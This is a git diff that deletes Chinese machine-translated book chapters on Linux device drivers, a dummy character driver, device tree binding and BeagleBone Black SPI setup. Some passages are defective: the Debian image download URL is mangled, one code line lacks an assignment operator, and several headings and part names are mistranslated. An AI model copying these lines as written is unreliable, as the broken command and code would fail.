`proc`:所有新代码都不推荐使用`proc`文件系统,除非它与进程有关,这是文件系统最初的预期用途。 但是,您可以使用`proc`发布您选择的任何信息。 而且,与`sysfs`和`debugfs`不同,它可用于非 GPL 模块。 -* `netlink`:这是套接字协议族。 `AF_NETLINK`创建将内核空间链接到用户空间的套接字。 最初创建它是为了让网络工具可以与 Linux 网络代码通信,以访问路由表和其他详细信息。 `udev`还使用它将事件从内核传递到`udev`守护进程。 它很少在一般设备驱动程序中使用。 - -内核源代码中有个前面所有文件系统的示例,您可以为您的驱动程序代码设计非常有趣的接口。 唯一的普遍规则是*最小惊讶原则*。 换句话说,使用您的驱动程序的应用编写人员应该会发现,一切都是以一种合乎逻辑的方式工作的,没有任何怪异或奇怪之处。 - -## 设备驱动程序剖析 - -现在是通过查看简单设备驱动程序的代码来将一些线程结合在一起的时候了。 - -下面是名为`dummy`的设备驱动程序的开始,它创建了四个可以通过`/dev/dummy0`到`/dev/dummy3`访问的设备: - -```sh -#include -#include -#include -#include -#include -#define DEVICE_NAME "dummy" -#define MAJOR_NUM 42 -#define NUM_DEVICES 4 -static struct class *dummy_class; -``` - -接下来,我们将定义字符设备接口的`dummy_open()`、`dummy_release()`、`dummy_read()`和`dummy_write()`函数: - -```sh -static int dummy_open(struct inode *inode, struct file *file) -{ -   pr_info("%s\n", __func__); -   return 0; -} -static int dummy_release(struct inode *inode, struct file *file) -{ -   pr_info("%s\n", __func__); -   return 0; -} -static ssize_t dummy_read(struct file *file, - char *buffer, size_t length, loff_t * offset) -{ -   pr_info("%s %u\n", __func__, length); -   return 0; -} -static ssize_t dummy_write(struct file *file, - const char *buffer, size_t length, loff_t * offset) -{ -   pr_info("%s %u\n", __func__, length); -   return length; -} -``` - -之后,我们需要初始化`file_operations`结构并定义 -`dummy_init()`和`dummy_exit()`函数,这些函数在加载和卸载驱动程序时调用: - -```sh -struct file_operations dummy_fops = { -   .owner = THIS_MODULE, -   .open = dummy_open, -   .release = dummy_release, -   .read = dummy_read, -   .write = dummy_write, -}; -int __init dummy_init(void) -{ -   int ret; -   int i; -   printk("Dummy loaded\n"); -   ret = register_chrdev(MAJOR_NUM, DEVICE_NAME, &dummy_fops); -   if (ret != 0) -      return ret; -   dummy_class = class_create(THIS_MODULE, DEVICE_NAME); -   for (i = 0; i < NUM_DEVICES; i++) { -      device_create(dummy_class, NULL, -                    MKDEV(MAJOR_NUM, i), NULL, "dummy%d", i); -   } -   return 0; -} -void __exit dummy_exit(void) -{ -   int i; -   for (i = 0; i < NUM_DEVICES; i++) { -      device_destroy(dummy_class, MKDEV(MAJOR_NUM, i)); -   } -   class_destroy(dummy_class); -   unregister_chrdev(MAJOR_NUM, DEVICE_NAME); -   printk("Dummy unloaded\n"); -} -``` - -在代码的末尾,名为`module_init`和`module_exit`的宏指定加载和卸载模块时要调用的函数: - -```sh -module_init(dummy_init); -module_exit(dummy_exit); -``` - -最后三个名为`MODULE_*`的宏添加了有关模块的一些基本信息: - -```sh -MODULE_LICENSE("GPL"); -MODULE_AUTHOR("Chris Simmonds"); -MODULE_DESCRIPTION("A dummy driver"); -``` - -可以使用`modinfo`命令从编译的内核模块检索此信息。 驱动程序的完整源代码可以在`MELP/Chapter11/dummy-driver`目录中找到,该目录包含在本书的代码归档中。 - -加载模块时,会调用`dummy_init()`函数。 当 IS 调用`register_chrdev`,传递一个指向`struct file_operations`的指针(其中包含指向驱动程序实现的四个函数的指针)时,您可以看到它成为字符设备的点。 虽然`register_chrdev`告诉内核有一个主号为`42`的驱动程序,但它没有说明驱动程序的类,因此它不会在`/sys/class`中创建条目。 - -如果在`/sys/class`中没有条目,则设备管理器无法创建设备节点。 因此,接下来的几行代码创建了一个设备类`dummy`,以及该类中名为`dummy0`到`dummy3`的四个设备。 结果是,`/sys/class/dummy`目录是在驱动程序初始化时创建的,它包含子目录`dummy0`到`dummy3`。 每个子目录都包含一个文件`dev`,其中包含设备的主号和次号。 这就是设备管理器创建设备节点所需的全部内容:`/dev/dummy0`到 -`/dev/dummy3`。 - -`dummy_exit()`函数必须释放`dummy_init()`所声明的资源,这在这里意味着释放设备类别和主机号。 - -该驱动程序的文件操作由`dummy_open()`、`dummy_read()`、`dummy_write()`和`dummy_release()`实现,它们分别在用户空间程序调用`open(2)`、`read(2)`、`write(2)`和`close(2)`时调用。 它们只是打印一条内核消息,这样您就可以看到它们被调用了。 您可以使用`echo`命令从命令行演示这一点: - -```sh -# echo hello > /dev/dummy0 -dummy_open -dummy_write 6 -dummy_release -``` - -在本例中,出现这些消息是因为我登录到了控制台,并且默认情况下内核消息会打印到控制台。 如果您没有登录控制台,您仍然可以使用`dmesg`命令查看内核消息。 - -该驱动程序的完整源代码不到 100 行,但足以说明设备节点和驱动程序代码之间的链接是如何工作的;设备类是如何创建的,从而允许设备管理器在加载驱动程序时自动创建设备节点;以及数据是如何在用户和内核空间之间移动的。 接下来,您需要构建它。 - -## 编译内核模块 - -此时,您有一些要在目标系统上编译和测试的驱动程序代码。 您可以将其复制到内核源码树中并修改生成文件来构建它,也可以将其编译为树外的模块。 让我们从树上开始建造。 - -您将需要一个简单的 Makefile,它使用内核构建系统来完成所有繁重的工作: - -```sh -LINUXDIR := $(HOME)/MELP/build/linux -obj-m := dummy.o -all: -     make ARCH=arm CROSS_COMPILE=arm-cortex_a8-linux-gnueabihf- \ -     -C $(LINUXDIR) M=$(shell pwd) -clean: -     make -C $(LINUXDIR) M=$(shell pwd) clean -``` - -将`LINUXDIR`设置为要在其上运行模块的目标设备的内核目录。 `obj-m := dummy.o`代码将调用内核构建规则来获取源文件`dummy.c`,并创建内核模块`dummy.ko`。 在下一节中,我将向您展示如何加载内核模块。 - -重要注 - -内核模块在内核版本和配置之间不是二进制兼容的:模块将只加载到编译时使用的内核上。 - -如果您想要在内核源代码树中构建驱动程序,过程非常简单。 选择适合您拥有的驱动程序类型的目录。 该驱动程序是一个基本的字符设备,所以我将把`dummy.c`放在`drivers/char`中。 然后,编辑目录中的 Makefile,并添加一行,将驱动程序无条件构建为一个模块,如下所示: - -```sh -obj-m += dummy.o -``` - -或者,您可以添加以下行以无条件地将其构建为内置: - -```sh -obj-y += dummy.o -``` - -如果您希望使驱动程序可选,您可以向`Kconfig` -文件添加一个`menu`选项,并使编译以配置选项为条件,正如我在*了解内核配置*部分的[*第 4 章*](04.html#_idTextAnchor085),*配置和构建内核*中描述的 -。 - -## 加载内核模块 - -您可以分别使用简单的`insmod`、`lsmod`和`rmmod`命令加载、卸载和列出模块。 在这里,他们正在加载`dummy`驱动程序: - -```sh -# insmod /lib/modules/4.8.12-yocto-standard/kernel/drivers/dummy.ko -# lsmod - Tainted: G -dummy 2062 0 - Live 0xbf004000 (O) -# rmmod dummy -``` - -如果模块放在`/lib/modules/`中的子目录中,您可以使用`depmod -a`命令创建一个**模块依赖关系数据库**,如下所示: - -```sh -# depmod -a -# ls /lib/modules/4.8.12-yocto-standard -kernel   modules.alias   modules.dep   modules.symbols -``` - -`modprobe`命令使用`modules.*`文件中的信息按名称而不是按完整路径查找模块。 `modprobe`还有许多其他功能,所有这些功能都在`modprobe(8)`手册页上进行了描述。 - -既然我们已经编写并加载了我们的虚拟内核模块,那么我们如何让它与一些真正的硬件对话呢? 我们需要通过设备树或平台数据将驱动程序绑定到该硬件。 发现硬件并将该硬件链接到设备驱动程序是下一节的主题。 - -# 发现硬件配置 - -虚拟驱动程序演示了设备驱动程序的结构,但它缺乏与真实硬件的交互,因为它只操纵内存结构。 设备驱动程序通常是用来与硬件交互的。 其中的一部分是能够首先发现硬件,记住它可能在不同的配置中位于不同的地址。 - -在某些情况下,硬件本身提供信息。 可发现总线(如 PCI 或 USB)上的设备具有查询模式,该模式返回资源要求和唯一标识符。 内核将标识符和可能的其他特征与设备驱动程序相匹配,并将它们结合在一起。 - -然而,嵌入式电路板上的大多数硬件块都没有这样的标识符。 您必须自己以**设备树**或称为的 C 结构(称为**平台数据**)的形式提供信息。 - -在 Linux 的标准驱动程序模型中,设备驱动程序向相应的子系统注册:PCI、USB、开放固件(设备树)、平台设备等。 注册包括标识符和称为`probe`函数的回调函数,如果硬件的 ID 和驱动程序的 ID 之间存在匹配,则调用该回调函数。 对于 PCI 和 USB,ID 基于供应商和设备的产品 ID;对于设备树和平台设备,ID 是名称(文本字符串)。 - -## 设备树 - -我在[*第 3 章*](03.html#_idTextAnchor061),*All About Bootloaders*中介绍了设备树。 在这里,我想向您展示 Linux 设备驱动程序是如何与这些信息联系在一起的。 - -作为示例,我将使用 ARM 通用板`arch/arm/boot/dts/versatile-ab.dts`,其以太网适配器定义如下: - -```sh -net@10010000 { -   compatible = "smsc,lan91c111"; -   reg = <0x10010000 0x10000>; -   interrupts = <25>; -}; -``` - -请特别注意此节点的`compatible`属性。 该字符串值稍后将在以太网适配器的源代码中重新出现。 我们将在[*第 12 章*](12.html#_idTextAnchor356),*中了解有关设备树的更多信息*。 - -## 平台数据 - -在缺乏设备树支持的情况下,有一种使用 C 结构描述硬件的后备方法,称为平台数据。 - -每个硬件都由`struct platform_device`描述,它有一个名称和一个指向资源数组的指针。 资源的类型由标志确定,这些标志包括以下内容: - -* `IORESOURCE_MEM`:这是内存区域的物理地址。 -* `IORESOURCE_IO`:这是 I/O 寄存器的物理地址或端口号。 -* `IORESOURCE_IRQ`:这是中断号。 - -以下是取自`arch/arm/machversatile/core.c`的以太网控制器的平台数据的示例,为清楚起见,已对其进行了编辑: - -```sh -#define VERSATILE_ETH_BASE 0x10010000 -#define IRQ_ETH 25 -static struct resource smc91x_resources[] = { - [0] = { -   .start = VERSATILE_ETH_BASE, -   .end = VERSATILE_ETH_BASE + SZ_64K - 1, -   .flags = IORESOURCE_MEM, -}, - [1] = { -   .start = IRQ_ETH, -   .end = IRQ_ETH, -   .flags = IORESOURCE_IRQ, -}, -}; -static struct platform_device smc91x_device = { -  .name = "smc91x", -  .id = 0, -  .num_resources = ARRAY_SIZE(smc91x_resources), -  .resource = smc91x_resources, -}; -``` - -它有 64KB 的存储区和一个中断。 平台数据必须向内核注册,通常在主板初始化时: - -```sh -void __init versatile_init(void) -{ -   platform_device_register(&versatile_flash_device); -   platform_device_register(&versatile_i2c_device); -   platform_device_register(&smc91x_device); -   […] -``` - -此处显示的平台数据在功能上等同于以前的设备树源,只是`name`字段取代了`compatible`属性。 - -## 将硬件与设备驱动程序链接 - -在前面的节中,您看到了如何使用设备树和平台数据描述以太网适配器。 对应的驱动程序代码在`drivers/net/ethernet/smsc/smc91x.c`中,它可以处理设备树和平台数据。 以下是初始化代码,为清楚起见再次进行了编辑: - -```sh -static const struct of_device_id smc91x_match[] = { -   { .compatible = "smsc,lan91c94", }, -   { .compatible = "smsc,lan91c111", }, -   {}, -}; -MODULE_DEVICE_TABLE(of, smc91x_match); -static struct platform_driver smc_driver = { -   .probe = smc_drv_probe, -   .remove = smc_drv_remove, -   .driver = { -      .name = "smc91x", -      .of_match_table = of_match_ptr(smc91x_match), -   }, -}; -static int __init smc_driver_init(void) -{ -   return platform_driver_register(&smc_driver); -} -static void __exit smc_driver_exit(void) -{ -   platform_driver_unregister(&smc_driver); -} -module_init(smc_driver_init); -module_exit(smc_driver_exit); -``` - -当驱动程序初始化时,它调用`platform_driver_register()`,指向`struct platform_driver`,其中有一个对`probe`函数的回调、一个驱动程序名称`smc91x`和一个指向`struct of_device_id`的指针。 - -如果此驱动程序已由设备树配置,内核将查找设备树节点中的`compatible`属性与兼容结构元素所指向的字符串之间的匹配。 对于每个匹配,它调用`probe`函数。 - -另一方面,如果它是通过平台数据配置的,则对于`driver.name`所指向的字符串的每个匹配,都将调用`probe`函数。 - -函数`probe`提取有关接口的信息: - -```sh -static int smc_drv_probe(struct platform_device *pdev) -{ -   struct smc91x_platdata *pd = dev_get_platdata(&pdev->dev); -   const struct of_device_id *match = NULL; -   struct resource *res, *ires; -   int irq; -   res = platform_get_resource(pdev, IORESOURCE_MEM, 0); -   ires platform_get_resource(pdev, IORESOURCE_IRQ, 0); -   […] -   addr = ioremap(res->start, SMC_IO_EXTENT); -   irq = ires->start; -   […] -} -``` - -对`platform_get_resource()`的调用从设备树或平台数据中提取内存和`irq`信息。 由驱动程序来映射内存并安装中断处理程序。 第三个参数(在前两种情况下均为零)在存在该特定类型的多个资源时开始起作用。 - -设备树允许您配置的不仅仅是基本内存范围和中断。 `probe`函数中有一段代码可以从设备树中提取可选参数。 在此代码片段中,它获取`register-io-width`属性: - -```sh -match = of_match_device(of_match_ptr(smc91x_match), &pdev->dev); -if (match) { -   struct device_node *np = pdev->dev.of_node; -   u32 val; -   […] -   of_property_read_u32(np, "reg-io-width", &val); -   […] -} -``` - -对于大多数驱动程序,具体的绑定记录在`Documentation/devicetree/bindings`中。 对于这个特定的驱动程序,信息在`Documentation/devicetree/bindings/net/smsc911x.txt`中。 - -这里要记住的主要事情是,驱动程序应该注册一个`probe`函数和足够的信息,以便内核调用`probe`,因为它找到了与它所知道的硬件相匹配的硬件。 设备树描述的硬件和设备驱动程序之间的链接是通过`compatible`属性实现的。 平台数据和驱动程序之间的链接是通过名称实现的。 - -# 摘要 - -设备驱动程序负责处理设备(通常是物理硬件,有时也包括虚拟接口),并以一致且有用的方式将它们呈现给用户空间。 Linux 设备驱动程序分为三大类:字符驱动程序、块驱动程序和网络驱动程序。 在这三个接口中,字符驱动程序接口是最灵活的,因此也是最常见的。 Linux 驱动程序适合称为驱动程序模型的框架,该模型通过`sysfs`公开。 在`/sys`中几乎可以看到设备和驱动程序的整个状态。 - -每个嵌入式系统都有自己独特的一组硬件接口和要求。 Linux 提供了大多数标准接口的驱动程序,通过选择正确的内核配置,您可以非常快地获得工作的目标板。 这就给您留下了非标准组件,您必须为其添加自己的设备支持。 - -在某些情况下,您可以通过使用 GPIO、I2C 等的通用驱动程序来避开这个问题,并编写用户空间代码来完成这项工作。 我推荐以此为起点,因为它使您有机会在不编写内核代码的情况下熟悉硬件。 编写内核驱动程序并不是特别困难,但是您需要仔细编写代码,以免影响系统的稳定性。 - -到目前为止,我已经讨论了内核驱动程序代码的编写;如果您沿着这条路线走下去,您将不可避免地想知道如何检查它是否正常工作并检测任何 bug。 我将在[*第 19 章*](19.html#_idTextAnchor529),*使用 GDB*调试中讨论该主题。 - -下一章将介绍用户空间初始化以及`init`程序的不同选项,从简单的 BusyBox 到更复杂的系统。 - -# 进一步阅读 - -以下资源包含有关本章中介绍的主题的更多信息: - -* *Linux 内核开发*,*第三版*,Robert Love 著 -* *Linux 每周新闻*:[https://lwn.net/Kernel](https://lwn.net/Kernel) -* *Linux 上的异步 IO:SELECT、POLL 和 EPOLL,*,Julia Evans:[https://jvns.ca/blog/2017/06/03/async-io-on-linux--select--poll--and-epoll](https://jvns.ca/blog/2017/06/03/async-io-on-linux--select--poll--and-epoll) -* *Essential Linux Device Drivers,**第一版*,Sreekrishnan Venkateswaran 著 \ No newline at end of file diff --git a/docs/master-emb-linux-prog/12.md b/docs/master-emb-linux-prog/12.md deleted file mode 100644 index 66bff91a..00000000 --- a/docs/master-emb-linux-prog/12.md +++ /dev/null @@ -1,1038 +0,0 @@ -# 十二、使用分线板的原型 - -定制电路板是嵌入式 Linux 工程师一次又一次被要求做的事情。 一家消费电子产品制造商想要制造一款新设备,而该设备往往需要运行 Linux。 Linux 映像的组装过程通常在硬件准备好之前就开始了,并使用从开发板和分支板连接在一起的原型来完成。 需要将外围 I/O 引脚多路复用到设备树绑定中,才能进行正常通信。 只有这样,为应用编写中间件的任务才能开始。 - -本章的目标是为 Beaglebone Black 添加一个 u-blox GPS 模块。 这需要阅读原理图和数据表,以便可以使用 Texas Instruments 的**SysConfig**工具生成对设备树源的必要修改。 接下来,我们将把 SparkFun GPS 转接板连接到 Beaglebone Black,并用逻辑分析仪探测连接的 SPI 引脚。 最后,我们将在 Beaglebone Black 上编译并运行测试代码,以便通过 SPI 接收来自 Zoe-M8Q GPS 模块的 NMEA 语句。 - -用真实的硬件进行快速原型制作需要大量的试错。 在本章中,我们将获得焊接方面的实践经验,并组装一个测试平台来研究和调试数字信号。 我们还将回顾设备树源,但这一次,我们将特别关注引脚控制配置,以及如何利用它们来启用外部或板载外围设备。 有了完整的 Debian Linux 发行版,我们可以使用`git`、`gcc`、`pip3`和`python3`等工具直接在 Beaglebone Black 上开发软件。 - -在本章中,我们将介绍以下主题: - -* 将原理图映射到设备树源 -* 带接线板的原型制作 -* 用逻辑分析仪探测 SPI 信号 -* 通过 SPI 接收 NMEA 消息 - -我们开始吧! - -# 技术要求 - -要按照本章中的示例操作,请确保您具备以下条件: - -* 一种基于 Linux 的主机系统 -* Buildroot 2020.02.9 LTS 版本 -* 适用于 Linux 的蚀刻器 -* 一种 microSD 卡读卡器和卡 -* USB 转 TTL 3.3V 串行电缆 -* ♪Beaglebone Black♪ -* 5V 1A 直流电源 -* 用于网络连接的以太网电缆和端口 -* SparkFun 型 GPS-15193 漏斗 -* 一排(12 个或更多针脚)直开式插头 -* 一套烙铁 -* 六根凹凸不平的跳线 -* 一种超宽带 GNSS 天线 - -您应该已经在[*第 6 章*](06.html#_idTextAnchor164),*选择构建系统*中安装了 Buildroot 的 2020.02.9 版本。 如果没有,请参考*Buildroot 用户手册*([https://buildroot.org/downloads/manual/manual.html](https://buildroot.org/downloads/manual/manual.html))的*系统要求*部分,然后根据[*第 6 章*](06.html#_idTextAnchor164)中的说明在您的 LINUX 主机上安装 Buildroot。 - -**逻辑分析仪**帮助排除故障并理解 SPI 通信。 -我将使用 Saleae Logic 8 进行演示。 我知道 Saleae 产品贵得令人望而却步(399 美元以上),所以如果你还没有 Saleae 逻辑分析仪,即使没有也可以读完这一章。 还有更实惠的低速替代方案([http://dangerousprototypes.com/docs/Bus_Pirate](http://dangerousprototypes.com/docs/Bus_Pirate)),它们足以用于 SPI 和 I2C 调试,但我不会在本书中介绍它们。 - -本章的所有代码都可以在本书 GitHub 存储库的`Chapter12`文件夹中找到:[https://github.com/PacktPublishing/Mastering-Embedded-Linux-Programming-Third-Edition](https://github.com/PacktPublishing/Mastering-Embedded-Linux-Programming-Third-Edition)。 - -# 将原理图映射到设备树源 - -因为 Beaglebone Black 的**BOM**(**BOM**)、PCB 设计文件和原理图都是开源的,所以任何人都可以制造 Beaglebone Black 作为其消费产品的一部分。 由于 Beaglebone Black 是为开发而设计的,因此它包含生产中可能不需要的几个组件,例如以太网电缆、USB 端口和 microSD 插槽。 作为开发板,Beaglebone Black 可能还缺少您的应用所需的一个或多个外围设备,如传感器、LTE 调制解调器或 OLED 显示器。 - -Beaglebone Black 是围绕德州仪器的 AM335x 打造的,AM335x 是一款带有 Dual**可编程实时单元**(**PRU**)的单核 32 位 ARM Cortex-A8 SoC。 奥克塔沃系统公司(Octavo Systems)生产的 Beaglebone Black 有一个更昂贵的无线变种,可以用 Wi-Fi 和蓝牙模块替换以太网。 Beaglebone Black Wireless 也是开源硬件,但在某些情况下,您可能希望围绕 AM335x 设计自己的定制 PCB。 为 Beaglebone Black 设计子板(称为*“斗篷”*)也是一种选择。 - -出于我们的目的,我们将把 u-blox Zoe-M8Q GPS 模块集成到联网设备中。 如果您需要在本地网络和云之间传输大量数据包,那么运行 Linux 是一个明智的选择,因为它拥有极其成熟的 TCP/IP 网络堆栈。 Beaglebone Black 的 ARM Cortex-A8CPU 满足运行主流 Linux 的要求(足够的可寻址 RAM 和内存管理单元)。 这意味着我们的产品可以从对 Linux 内核进行的安全和错误修复中获益。 - -在[*第 11 章*](11.html#_idTextAnchor329),*与设备驱动程序*接口中,我们查看了如何将以太网适配器绑定到 Linux 设备驱动程序的示例。 绑定外围设备是使用称为平台数据的设备树源或 C 结构来完成的。 多年来,使用设备树源已成为绑定到 Linux 设备驱动程序的首选方法,尤其是在 ARM SoC 上。 由于这些原因,本章中的示例仅涉及设备树源。 与 U-Boot 类似,将设备树源文件编译成 DTB 也是 Linux 内核构建过程的一部分。 - -在我们开始修改设备树源之前,我们需要熟悉 Beaglebone Black 和 SparkFun Zoe-M8Q GPS 突破的原理图。 - -## 阅读原理图和数据表 - -BeagleboneBlack 具有 2 x 46 针的 I/O 扩展头。这些头除了大量的 GPIO 外,还包括 UART、I2C 和 SPI 通信端口。 大多数 GPS 模块,包括我们的模块,都可以通过串行 UART 或 I2C 发送 NMEA 数据。 尽管许多用户空间 GPS 工具(如`gpsd`)只能与通过串行连接的模块一起使用,但我为该项目选择了带 SPI 接口的 GPS 模块。 Beaglebone Black 有两辆 SPI 巴士可供选择。 我们只需要其中一条 SPI 总线就可以连接 u-blox Zoe-M8Q。 - -我选择 SPI 而不是 UART 和 I2C 有两个原因:在许多 SoC 上,UART 很少,蓝牙和/或串行控制台等需要使用 UART;I2C 驱动程序和硬件可能会有严重的错误。 一些 I2C 内核驱动程序的实现非常糟糕,以至于当有太多连接的外设在通话时,总线就会锁定。 Broadcom SoC 中的 I2C 控制器(如 Raspberry PI 4 中的控制器)因在外围设备尝试执行时钟伸展时出现故障而臭名昭著。 - -以下是 Beaglebone Black 的 P9 扩展接头上的插针地图: - -![Figure 12.1 – P9 expansion header SPI ports](img/B11566_12_01.jpg) - -图 12.1-P9 扩展头 SPI 端口 - -引脚 17、18、21 和 22 分配给 SPI0 总线。 引脚 19、20、28、29、30、31 和 42 分配给 SPI1 总线。 请注意,端号 42 和 28 复制了 SPI1 的端号 19 和 20 的功能。 我们只能为 SPI1_CS1 和 SPI1_CS0 使用一个引脚。 任何重复的引脚都应禁用或重新调整用途。 另外,请注意,SPI1 有 CS0 和 CS1 引脚,而 SPI0 只有一个 CS0 引脚。 **CS**代表**芯片选择**。 由于每条 SPI 总线都是主从接口,因此拉低 CS 信号线通常会选择发送到总线上的哪个外设。 这种负逻辑被称为*“有效低”*。 - -以下是连接了两个外设的 Beaglebone Black 的 SPI1 总线框图: - -![Figure 12.2 – SPI1 bus](img/B11566_12_02.jpg) - -图 12.2-SPI1 总线 - -如果我们查看 Beagle bone Black 的示意图([https://github.com/beagleboard/beaglebone-black/blob/master/BBB_SCH.pdf](https://github.com/beagleboard/beaglebone-black/blob/master/BBB_SCH.pdf)),我们将 -看到 P9 扩展接头上的四个引脚(28 到 31)标记为 SPI1: - -![Figure 12.3 – P9 expansion header schematic](img/B11566_12_03.jpg) - -图 12.3-P9 扩展头示意图 - -额外的 SPI1 引脚(19、20 和 42)和所有 SPI0 引脚(17、18、21 和 22)已重新用于原理图上的 I2C1、I2C2 和 UART2。 这种备用映射是设备树源文件中定义的管脚复用器配置的结果。 要将丢失的 SPI 信号线从 AM335x 路由到扩展接头上各自的目标引脚,必须应用正确的引脚多路复用器配置。 管脚多路复用可以在运行时进行原型设计,但应该在完成的硬件到达之前转换到编译时间。 - -除了 CS0,您还会注意到 SPI0 总线还有 SCLK、D0 和 D1 线路。 **SCLK**代表**SPI 时钟**,始终由总线主机(本例中为 AM335x)生成。 通过 SPI 总线传输的数据与该 SCLK 信号同步。 SPI 支持比 I2C 高得多的时钟频率。 D0 数据线对应于**主机输入,从机输出**(**MISO**)。 D1 数据线对应于**主机输出,从机输入**(**MOSI**)。 虽然在软件中 D0 和 D1 都可以分配给 MISO 或 MOSI,但我们将坚持使用这些默认映射。 SPI 是**全双工**接口,这意味着主机和选定的从机都可以同时发送数据。 - -以下是显示所有四个 SPI 信号方向的框图: - -![Figure 12.4 – SPI signals](img/B11566_12_04.jpg) - -图 12.4-SPI 信号 - -现在,让我们把注意力从 Beaglebone Black 转移到 Zoe-M8Q 上。 我们将从 ZOE-M8 系列数据表开始,该数据表可以从 u-blox 的产品页面[https://www.u-blox.com/en/product/zoe-m8-series](https://www.u-blox.com/en/product/zoe-m8-series)下载。 请跳至描述 SPI 的部分。 它表示 SPI 默认禁用,因为其引脚与 UART 和 DDC 接口共享。 要使能 Zoe-M8Q 上的 SPI,我们必须将 D_SEL 引脚连接到地。 下拉 D_SEL 可将两个 UART 和两个 DDC 引脚转换为四个 SPI 引脚。 - -在[https://www.sparkfun.com/products/15193](https://www.sparkfun.com/products/15193)的产品页面中选择“**Documents**”选项卡,找到 SparkFun Zoe-M8Q GPS 分流的示意图。 搜索 D_SEL 针脚会发现它位于标有 jp1 的跳线左侧。 闭合跳线将 D_SEL 连接到 GND,从而启用 SPI: - -![Figure 12.5 – D_SEL jumper and SPI connectors on the GPS breakout](img/B11566_12_05.jpg) - -图 12.5-GPS 分支上的 D_SEL 跳线和 SPI 连接器 - -CS、CLK、MOSI 和 MISO 引脚的连接器与 3.3V 和 GND 位于同一位置。 合上跳线并将接头连接到六个引脚上将需要一些焊接。 - -互连芯片或模块时,请务必检查针脚额定值。 GPS 接线上的 JP2 跳线将 SCL/CLK 和 SDA/CS 引脚连接到 2.2KΩ上拉电阻器。 AM335x 数据手册称,这些输出引脚是 6 mA 驱动器,因此启用其微弱的内部上拉会增加 100µA 的上拉电流。 ZOE-M8Q 在相同引脚上具有 11kΩ上拉,在 3.3V 时增加 300µA。 ΩBreakout 上的 2.2k GPS I2C 上拉增加了 1.5MA,总共 1.9 mA 的上拉电流,这是可以的。 - -返回到*图 12.1*,请注意 Beaglebone Black 通过其 P9 扩展接头的 3 号和 4 号针脚供电 3.3V。 引脚 1 和 2 以及 43 到 46 都绑在 GND 上。 除了将 GPS 分支上的四条 SPI 线连接到引脚 17、18、21 和 22 外,我们还将 GPS 模块的 3.3V 和 GND 连接到 Beaglebone Black 的 P9 扩展接头上的引脚 3 和 43。 - -现在我们已经了解了如何连接 Zoe-M8Q,让我们在运行在 Beaglebone Black 上的 Linux 上启用 SPI0 总线。 要做到这一点,最快的方法是从[BeagleBoard.org](http://BeagleBoard.org)安装预构建的 Debian 镜像。 - -## 在 Beaglebone Black 上安装 Debian - -[BeagleBoard.org](http://BeagleBoard.org)为他们的各种 dev 主板提供 Debian 图像。 Debian 是一个流行的 Linux 发行版 -,它包含一套全面的开源软件包。 这是一个巨大的努力,有来自世界各地的贡献者。 按照嵌入式 Linux 标准,为各种 BeagleBoards 构建 Debian 是非常规的,因为该过程不依赖交叉编译。 而不是尝试自己为 Beaglebone Black 构建 Debian,只需直接从[BeagleBoard.org](http://BeagleBoard.org)下载完成的图像即可。 - -要下载 Beaglebone Black 的 Debian Buster IoT microSD 卡镜像,请发出 following 命令: - -```sh -$ wget https://debian.**BeagleBoard.orgimg/bone-debian-10.3-iot-armhf-2020-04-06-4gb.img.xz -``` - -在撰写本文时,10.3 是基于 AM335x 的 Beaglebone 主板的最新 Debian 图像。 主版本号 10 表示 10.3 是 Debian 的 Buster LTS 发行版。 由于 Debian 10.0 最初是在 2019 年 7 月 6 日发布的,它应该会收到从该日期起最长 5 年的更新。 - -重要音符 - -如果可能,请从[BeagleBoard.org](http://BeagleBoard.org)下载 10.3 版(也称为 Buster),而不是从[BeagleBoard.org](http://BeagleBoard.org)下载最新的 Debian 映像。 Beaglebone 引导加载器、内核、DTB 和命令行工具一直在变化,因此这些指令可能不适用于较新的 Debian 发行版。 - -现在我们已经有了 Beaglebone Black 的 Debian 映像,让我们将其写出到 microSD 卡并引导它。 找到您从[BeagleBoard.org](http://BeagleBoard.org)从 Etcher 下载的`bone-debian-10.3-iot-armhf-2020-04-06-4gb.img.xz`文件,并将其写出到 microSD 卡。 将 microSD 卡插入 Beaglebone Black,并使用 5V 电源接通电源。 接下来,用以太网电缆将 Beaglebone Black 上的以太网电缆插入路由器的空闲端口。 当板载以太网指示灯开始闪烁时,您的 Beaglebone Black 应该处于在线状态。 通过互联网访问,我们可以在 Debian 内部安装软件包和从 Git repos 获取代码。 - -要从 Linux 主机`ssh`进入 Beaglebone Black,请使用以下代码: - -```sh -$ ssh debian@beaglebone.local -``` - -在`debian`用户密码提示下输入`temppwd`。 - -重要音符 - -许多 Beaglebone Black 在板载闪存上已经安装了 Debian,所以即使没有插入 microSD 卡,它们仍然可以引导。 如果在密码提示之前显示`BeagleBoard.org Debian Buster IoT Image 2020-04-06`消息,则 Beaglebone Black 是从 microSD 上的 Debian 10.3 映像启动的。 如果在密码提示之前显示不同的 Debian Release 消息,请验证 microSD 卡是否正确插入。 - -现在我们使用 Beaglebone Black,让我们看看有哪些 SPI 接口可用。 - -## 启用蜘蛛 - -Linux 附带了一个用户空间 API,它提供了对 -SPI 设备的`read()`和`write()`访问。 此用户空间 API 称为`spidev`,包含在 Beaglebone Black 的 Debian Buster 映像中。 我们可以通过搜索 -`spidev`内核模块来确认这一点: - -```sh -debian@beaglebone:~$ lsmod | grep spi -spidev 20480 0 -``` - -现在,列出可用的 SPI 外围设备地址: - -```sh -$ ls /dev/spidev* -/dev/spidev0.0 /dev/spidev0.1 /dev/spidev1.0 /dev/spidev1.1 -``` - -`/dev/spidev0.0`和`/dev/spidev0.1`节点位于 SPI0 总线上,而 -`/dev/spidev1.0`和`/dev/spidev1.1`节点位于 SPI1 总线上。 这个项目我们只需要 SPI0 总线。 - -U-Boot 加载 Beaglebone Black 设备树顶部的覆盖。 我们可以通过编辑 U-Boot 的`uEnv.txt`配置文件来选择要加载的设备树覆盖: - -```sh -$ cat /boot/uEnv.txt -#Docs: http://elinux.org/Beagleboard:U-boot_partitioning_layout_2.0 -uname_r=4.19.94-ti-r42 -. -. -. -###U-Boot Overlays### -###Documentation: http://elinux.org/Beagleboard:BeagleBoneBlack_Debian#U-Boot_Overlays -###Master Enable -enable_uboot_overlays=1 -### -. -. -. -###Disable auto loading of virtual capes (emmc/video/wireless/adc) -#disable_uboot_overlay_emmc=1 -#disable_uboot_overlay_video=1 -#disable_uboot_overlay_audio=1 -#disable_uboot_overlay_wireless=1 -#disable_uboot_overlay_adc=1 -. -. -. -###Cape Universal Enable -enable_uboot_cape_universal=1 -``` - -确认`enable_uboot_overlays`和`enable_uboot_cape_universal`环境变量均设置为`1`。 